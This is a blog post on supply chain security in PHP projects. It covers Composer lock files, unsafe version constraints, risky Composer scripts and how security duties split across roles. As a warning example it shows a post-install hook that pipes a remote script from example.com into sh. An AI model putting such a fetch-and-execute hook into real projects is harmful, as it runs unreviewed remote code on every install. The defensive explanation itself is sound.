DEV Community

István Döbrentei
István Döbrentei

Posted on

Supply Chain Security in PHP Projects

Security has always been an evergreen topic. Protecting your environment, reputation, and company assets from financial and reputational damage is critical. For today’s developers, it is no longer enough to know language syntax, design principles, or how to write clean and maintainable code. Even application-level security knowledge — SQL injection, XSS, CSRF, authentication, and authorization — is no longer sufficient on its own. The modern threat landscape has shifted.

Continuous learning is part of our profession, especially in security. New attack vectors and techniques emerge constantly, and keeping up with them is no longer optional. In large enterprise organizations, dedicated security teams exist, but that does not remove responsibility from individual engineers.

In this article, I would like to highlight software supply chain security from a PHP developer’s perspective.

What Is the Software Supply Chain in PHP?

In a typical PHP application, the software supply chain includes:

  • Your application source code
  • Composer and all installed packages
  • Package repositories (public or private Composer repositories)
  • Build tools and scripts
  • CI/CD pipelines
  • Runtime environment (PHP version, extensions, Docker images)
  • External services (databases, APIs, cloud providers)

This immediately raises important questions:

Where is the boundary of the system?
Who is responsible for securing it?

Is it the developer, the DevOps engineer, the infrastructure team, or the security department?

The answer is: there is no single boundary and no single owner.

Modern systems are layered, and each layer has its own security boundary. Supply chain security deliberately extends beyond your codebase. The system boundary ends where you lose visibility or control — but responsibility does not end there.
Supply chain security is shared, but not equally shared. Different roles own different layers.

Developer Responsibility (Application Layer)

Developers are primarily responsible for what gets written, imported, and executed.

This includes:

  • Choosing dependencies
  • Reviewing Composer packages
  • Maintaining composer.lock
  • Avoiding dangerous Composer scripts
  • Updating vulnerable libraries
  • Writing secure-by-default code

Developers cannot delegate responsibility by saying “I didn’t know the dependency was insecure” or “the security team will catch it later.” Developers are the first line of defense in the software supply chain.

Locking Dependencies Correctly

The composer.lock file ensures that exactly the same dependency versions are installed everywhere. See the following command:

composer install --no-dev --prefer-dist --no-interaction

This command installs PHP dependencies exactly as defined in composer.lock, with settings optimized for non-interactive, production-like environments. The first option means it skips the development dependencies. The deployment artifact will smaller and it reduces the attack surface as well. Prefer dist means download package archives instead of cloning git repositories. The installation will be smaller and faster and no git required. No interaction ensures deterministic behavior and it is required for CI/CD pipelines. Never run composer update in production.

Avoiding Unsafe Dependency Versions

Floating or development versions dramatically increase risk because floating versions make malicious dependency injection and accidental breaking changes far more likely.

Unsafe Example:

 {
  "require": {
    "monolog/monolog": "*",
    "vendor/package": "dev-main"
  }
 }
Enter fullscreen mode Exit fullscreen mode

Reviewing and Restricting Composer Scripts

Risky example:

{
  "scripts": {
    "post-install-cmd": [
      "curl https://example.com/install.sh | sh"
    ]
  }
}
Enter fullscreen mode Exit fullscreen mode

In CI pipelines, scripts should be disabled by default:

composer install --no-scripts

Enable scripts only when you fully understand and trust what they do.

DevOps / Platform Responsibility (Pipeline Layer)

DevOps and platform engineers own how code becomes a running system:

  • CI/CD pipeline security
  • Secrets management
  • Artifact integrity
  • Build isolation
  • Environment isolation
  • Deployment permissions

Infrastructure Responsibility (Runtime Layer)

Infrastructure engineers are responsible for where and how the system runs:

  • OS hardening
  • Container runtime security
  • Network segmentation
  • Identity and Access Management /Role Based Access Control
  • Patch management
  • Base images and VM templates

Security Team Responsibility (Governance Layer)

Security teams provide visibility, guidance, and assurance:

  • Security standards and policies
  • Risk assessment
  • Tooling guidance
  • Incident response
  • Compliance and audits
  • Threat modelling

What Are Supply Chain Attacks?

A supply chain attack occurs when an attacker compromises a trusted component that your application depends on, instead of attacking your code directly.

Supply chain attacks often succeed precisely because responsibility is fragmented. There is no single border and no single owner.

Common examples:

  • Malicious dependency injection
  • Typosquatting attacks
  • Dependency confusion attacks
  • Malicious Composer scripts
  • Compromised build pipelines
  • Build artifact tampering
  • Outdated or abandoned components

Final Conclusion

Modern PHP applications are assembled, not written from scratch. Every Composer dependency, build script, CI job, container image and external service becomes part of the system's attack surface.

Supply chain security is not about eliminating all risk, it is about making risk visible, controllable, and survivable.

PHP developers who understand and apply these principles are not just writing secure code, they are building software that can be trusted in an increasingly adversarial and risk exposed ecosystem.

Top comments (0)